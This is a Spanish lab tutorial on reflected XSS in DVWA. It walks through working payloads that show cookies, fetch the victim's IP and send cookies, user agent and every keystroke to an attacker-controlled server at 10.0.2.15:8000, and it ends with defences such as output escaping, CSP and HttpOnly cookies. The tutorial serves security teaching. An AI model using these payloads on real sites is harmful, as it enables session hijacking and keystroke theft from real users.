En el post anterior rompíamos cosas desde el navegador con DOM XSS.
Ahora subimos un nivel: aquí el propio servidor se convierte en cómplice 😏
Bienvenido al mundo del Cross-Site Scripting (XSS) reflejado, donde tú envías el ataque… y el servidor lo devuelve envuelto para regalo.
🎯 Objetivo (modo atacante ON)
Queremos:
- Inyectar JavaScript en la respuesta del servidor
- Ejecutarlo en la víctima
- Robar datos (cookies, IP, navegador…)
- Y, si nos ponemos creativos… espiar hasta lo que escribe 👀
🧪 Laboratorio
Seguimos con nuestro campo de pruebas favorito:
- App: Damn Vulnerable Web Application
- Nivel: LOW (modo paseo)
- Herramientas:
- Navegador
- Consola (F12)
- Servidor Python
- Opcional: Burp Suite
🔍 Fase 1: El bug (spoiler: es grave)
Código vulnerable:
echo '<pre>Hello ' . $_GET['name'] . '</pre>';
Traducción:
💀 “Hola usuario, voy a imprimir lo que me mandes… tal cual”
🧠 Fase 2: comportamiento normal
http://localhost:8080/vulnerabilities/xss_r/?name=Juan
Resultado:

Hello Juan
Todo bien… de momento.
💥 Fase 3: probamos a romperlo
<script>alert(1)</script>
Resultado:

💣 Popup → código ejecutándose
El servidor acaba de convertirse en nuestro altavoz.
🔎 Fase 4: cookies a la vista
<script>alert(document.cookie)</script>
Resultado:

🍪 Cookies expuestas (PHPSESSID incluida)
Ya sabes cómo sigue la historia…
🌐 Fase 5: sacando la IP (porque ¿por qué no?)
<script>
fetch('https://api.ipify.org?format=json')
.then(r=>r.json())
.then(data=>alert(data.ip))
</script>
Aquí usamos ipify para obtener la IP pública.
Resultado:

🌍 IP de la víctima en pantalla
💥 Fase 6: exfiltración silenciosa
Levantamos servidor:
python3 -m http.server 8000
Payload:
<script>
fetch('https://api.ipify.org?format=json')
.then(r=>r.json())
.then(data=>{
fetch('http://10.0.2.15:8000/?ip='+data.ip)
})
</script>
Resultado:

🎯 Datos robados sin levantar sospechas
🔐 Fase 7: modo pro — robo completo
Aquí ya nos venimos arriba:
<script>
fetch('https://api.ipify.org?format=json')
.then(r=>r.json())
.then(data=>{
let info = {
ip: data.ip,
cookie: document.cookie,
agent: navigator.userAgent
};
fetch('http://10.0.2.15:8000/?data='+btoa(JSON.stringify(info)));
});
</script>
Resultado:
📦 Datos empaquetados en Base64:

Traducción:
👉 Sabemos quién eres, qué navegador usas… y tenemos tu sesión
⌨️ Fase 8: keylogger (esto ya escala rápido)

<script>
document.onkeypress = function(e){
fetch("http://10.0.2.15:8000/?key=" + e.key);
}
</script>
Resultado:
⌨️ Cada tecla → enviada al atacante
Sí, esto ya es nivel “me estás espiando fuerte”.
🧠 ¿Qué está pasando aquí?
A diferencia del DOM XSS:
- Aquí el payload sí pasa por el servidor
- El servidor lo devuelve en la respuesta
- El navegador lo ejecuta como si fuera legítimo
En resumen:
👉 El servidor refleja tu ataque… sin cuestionarlo
💥 Vulnerabilidad
Reflected XSS
Características clave:
- Basado en peticiones (GET, POST…)
- No se almacena
- Necesita que la víctima haga clic (link malicioso típico)
🚨 Impacto real
Un atacante puede:
- Robar sesiones
- Obtener IP y datos del sistema
- Ejecutar acciones como el usuario
- Inyectar contenido falso
- Espiar entradas (keylogging)
- Redirigir a phishing
🛡️ Cómo defenderte (aquí está la magia de verdad)
1. Escapar SIEMPRE la salida
En PHP:
echo '<pre>Hello ' . htmlspecialchars($_GET['name']) . '</pre>';
Esto convierte:
<script>
en texto inofensivo.
2. Validar entradas
No aceptes cualquier cosa:
- Define formatos
- Usa listas blancas (whitelisting)
3. Implementa CSP
La Content Security Policy puede bloquear scripts inline.
4. Cookies seguras
HttpOnly→ evita robo por JSSecure→ solo HTTPS
5. Evita reflejar input directamente
Regla de oro:
👉 Nunca devuelvas al usuario lo que te manda sin procesarlo
🏁 Conclusión
El Reflected XSS es rápido, simple… y muy efectivo.
Solo necesita:
- Un input vulnerable
- Un usuario curioso que haga clic
- Y listo → ejecución remota en su navegador
💡 Si el DOM XSS era “yo me ataco solo”
💡 Esto es: “te mando un link… y te atacas tú”
